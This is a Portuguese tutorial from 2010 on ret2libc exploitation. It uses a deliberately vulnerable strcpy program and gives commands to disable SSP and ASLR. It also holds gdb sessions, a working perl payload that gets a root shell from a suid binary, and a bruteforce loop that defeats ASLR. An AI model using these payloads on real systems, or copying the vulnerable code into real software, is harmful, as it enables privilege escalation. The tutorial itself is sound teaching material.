Whitepaper called Retornando para LibC / Ret2libc. Written in Portuguese.
6d5c5decb3a417ab7850d382dd11e6c9ec6306032c2f8059fd1b727ad0fbb2b0
Retornando para LibC / Ret2libc
----[ Tema : Retornando para LibC / Ret2libc ]
----[ Autor : m0nad [at] email.com ]
----[ Data : 12/3/2010 ]
----[ Versão : 1.0 ]
--Índice
- Apresentação
- Pré-requisitos
- Introdução
- Desabilitando Proteções
- O Código Vulnerável
- Utilizando o GDB
- Utilizando a função getenv
- A Exploração
- Conclusão
- Referencias
- Agradecimentos
- Apresentação
Eu sou m0nad, do grupo BugSec ( https://code.google.com/p/bugsec/ ) e integrante do botecounix
( www.botecounix.com.br ), visitem la que tem muita coisa boa.
Estou aqui para demonstrar a técnica clássica de return to libc , ou retornar para libc, existem
outras maneiras de se executar esta técnica, mas aqui só abrangeremos o básico.
- Pré-requisitos
Bem, espero que você saiba programar em C, e já tenha se aventurado com os buffer overflows,
um conhecimento de assembly e de arquitetura/organização de computadores básico ajudaria,
precisamos também de um Linux 32bits, assim como o gcc e gdb.
- Introdução
A técnica tradicional de exploração de stack-based overflows, consiste em executarmos o
shellcode que colocamos na pilha, mas se a pilha não for executável não adiantaria nada
pularmos para o shellcode que esta la, pois o este não seria executado, isso é chamado
de NX bit(Non eXecute) ( https://en.wikipedia.org/wiki/NX_bit ), bem com ret2libc é possível
a exploração, pois não utilizamos shellcode, outra vantagem, é quando o buffer é muito
pequeno para colocarmos o nosso shellcode.
Ret2libc, também chamado de Arc Injection é um método de se passar por essa proteção, é
de certa forma parecida com outros stack-based overflows, vamos setar o endereço de retorno,
para onde nos quisermos.
A ideia da técnica e substituir o endereço de retorno para a biblioteca compartilhada libc,
geralmente para função 'system()' ( que só precisa de um argumento ) para executar um comando
arbitrário.
Mas primeiro vou falar de 2 questões, a maioria usa distribuições Linux modernas que vem com
outros tipos de proteção, estou falando do SSP ( smash-the-stack-protection ) mas também
chamado de ProPolice, e com ASLR (Address Space Layout Randomization), precisamos desabilitar
essas proteções para ter sucesso na técnica, mas, no final também ensino a burlar uma delas ;).
- Desabilitando Proteções
Para desabilitar o SSP, quando for compilar seu código vulnerável, basta acrescentar a tag
-fno-stack-protector.
ex:
$gcc vuln.c -o vuln -fno-stack-protector
Para desabilitar o ASLR, basta digitar, como root:
# echo 0 > /proc/sys/kernel/randomize_va_space
- O Código Vulnerável
Pronto, agora já estamos prontos para começarmos, compile o código vulnerável abaixo,
como eu mostrei acima.
------------code---------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char **argv)
{
char buffer[4];
if (argc != 2) {
puts ("sem argumentos");
exit (1);
}
strcpy(buffer, argv[1]);
}
------------code---------------
Vamos 'verificar' se ele esta vulnerável.
$ ./vuln `perl -e 'print "A" x 16'`
Falha de segmentação
- Utilizando o GDB
Percebemos a falha, vamos olhar no gdb o que esta acontecendo.
$ gdb vuln
GNU gdb (GDB) ...
...
(gdb) r `perl -e 'print "A" x 16'`
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16'`
Program received signal SIGSEGV, Segmentation fault.
0xb7eb7286 in _setjmp () from /lib/tls/i686/cmov/libc.so.6
Hmm, parece que ainda não sobrescrevemos o eip, apesar do erro, devo apenas ter corrompido
apenas o ebp, vamos ver.
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x414140fd 1094795517
ebx 0xb7fcdff4 -1208164364
esp 0xbffff44c 0xbffff44c
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xb7eb7286 0xb7eb7286 <_setjmp+6>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Veja, ebp 0x41414141, o ebp foi totalmente sobrescrito, mas o eip parece estar intacto
vamos colocar mais 4 bytes, e ver se pegamos o eip.
(gdb) r `perl -e 'print "A" x 16 . "BBBB" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16 . "BBBB" '`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Perfeito, o eip todo sobrescrito por letras "B's" , agora que vem a técnica do ret2libc, vamos
ver qual o endereço da função system, para colocarmos no lugar do retaddr.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln ]
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x80483a0 <system@plt>
Outra maneira de se descobrir, e adicionando essa linha ao código
--
printf ("system() = %p\n", system);
--
$ ./vuln asdf
system() = 0x80483a0
Pronto, já temos o endereço, mas e os argumentos, como vamos coloca-los? bem meu amigo, como
você já deve saber, a pilha alem de guardar o endereço de retorno de uma função, também guarda
parâmetros para funções, alem de outras coisas como as próprias variáveis, que estamos
transbordando aqui, quando uma função vai ser chamada, algo que no C seria algo como
system("/bin/sh"); por exemplo, para explanar a nossa shell, no assembly, ficaria algo como
abaixo.
push $endereço de /bin/sh
call $endereco de system
Quando a função call, é chamada, ela executa um push, ou seja, coloca na pilha, o endereço da
próxima instrução (endereço contido no program counter ou contador de instrução) e da um jump
para o código da função, no caso da função system().
Bem, dito isso, sabemos que acima do endereço da função system, que vamos colocar no lugar do
endereço de retorno, colocaremos um endereço de retorno para a função system, podendo ser qualquer
coisa com 4 bytes, pois ele só vai executar depois que sairmos de nossa shell, no caso vamos usar
o endereço da syscall exit, e depois o endereço da string /bin/sh, ficando assim:
[ lixo ] [ end. system ] [ end. exit ] [ end. /bin/sh ]
Para capturarmos o endereço de exit(mas caso você não se importe que o programa crashe, depois
que você sair da shell, pode colocar 4 bytes quaisquer), vamos fazer da mesma maneira que a system.
.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) p exit
$1 = {<text variable, no debug info>} 0x80483f0 <exit@plt>
Com a string /bin/sh, vamos exporta-la na shell, e ver 2 maneiras de se achar o endereço da mesma.
$ export TEST="/bin/sh"
Mas acontece, que assim precisamos acertar o endereço exato. do começo da string e muitas vezes,
ele "anda" um pouco, ou seja ele muda um pouco, então é mais fácil se fizermos algo como abaixo.
$ export TEST=" /bin/sh"
Para pegarmos o endereço usando o gdb.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/m0nad/vuln
Breakpoint 1, 0x080484b7 in main ()
(gdb) x/2000s $esp
Vão aparecer muitos endereços, com muita coisa, você dever ir dando <enter>, e geralmente no
final, estará assim:
0xbffffdff: "TEST=", ' ' <repete 51 vezes>, "/bin/sh"
(gdb) x/s 0xbffffdff
0xbffffdff: "TEST=", ' ' <repete 51 vezes>, "/bin/sh"
(gdb) x/s 0xbffffdff+10
0xbffffe09: ' ' <repete 46 vezes>, "/bin/sh"
Nesse caso, usaremos o endereço 0xbffffe09.
- Utilizando a função getenv
A outra maneira de se achar o endereço e usar o getenv() do C, veja o código exemplo
------------code---------------
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
char *path;
if (argc < 2 ) {
puts("Sem argumentos");
exit(1);
}
path = getenv (argv[1]);
if (path!=NULL)
printf ("O endereço e': %p\Seu conteúdo e': %s\n", path, path);
return 0;
}
------------code---------------
$ ./getenv TEST
O endereço e': 0xbffffdf5
Seu conteúdo e': /bin/sh
Pronto, já temos os endereços que precisamos.
system 0x80483a0
exit 0x80483f0
/bin/sh 0xbffffdf5
- A Exploração
Vamos a exploração, primeiro colocamos como suid root, para ficar mais legal :) como root faça:
# chown root vuln
# chmod +s vuln
Agora vamos exploita-lo.
$ ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xf5\xfd\xff\xbf"'`
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)
#
Sucesso! pegamos o root :) , perceba que colocamos os endereços em ordem reversa por causa
do little endian, como na exploração de overflows normal.
- Burlando ASLR
Vamos ativar o ASLR agora
# echo 2 > /proc/sys/kernel/randomize_va_space
O endereço da função system não muda, mas a variável exportada muda, veja:
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfaeddff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfe78dff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfdc0dff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfb6bdff
Seu conteúdo e': /bin/sh
Mas percebemos que o começo do endereço (bf) e o final (dff) isso deixa 3 nibbles para serem
aleatórios, bem o que vamos fazer, é um bruteforce, vamos tentar um dos endereços muitas vezes,
até que caia no nosso endereço, para fazer isso eh muito simples, vou utilizar o endereço
0xbfb6bdff como exemplo:
$ while true;do ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xff\xbd\xf6\xbf"'`;done
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)
Sucesso! o looping infinito faz com que tente todas as possibilidades dos 3 nibbles voltando
alguma hora, para o nosso endereço.
Essa técnica, pode demorar um pouco, mas funciona, o problema dela é na exploração remota, pois
na primeira tentativa o daemon seria derrubado, mas na exploração local funciona bem.
- Conclusão
Mesmo com NX-bit, um buffer pequeno, ainda sim é possível explorar o código com este tipo de técnica.
Até mesmo com ASLR, conseguimos pegar o root, apesar de dificultar a exploração remota.
Acredito que o melhor jeito é ainda escrever um bom código.
- Referencias
Return-to-libc attack - Wiki
https://en.wikipedia.org/wiki/Return-to-libc_attack
Arc injection / Return to libc
https://www.acm.uiuc.edu/sigmil/talks/general_exploitation/arc_injection/arc_injection.html
Bypassing non-executable-stack during exploitation using return-to-libc
https://www.exploit-db.com/papers/31
- Agradecimentos
Agradeço aos meus amigos do bugsec e do botecounix, Cooler_, _MLK_ e I4K.
Agradeço ao IP_FIX, que está sempre me ajudando, e ao 0ut0fbound que conheci a pouco
e tem me ajudado bastante.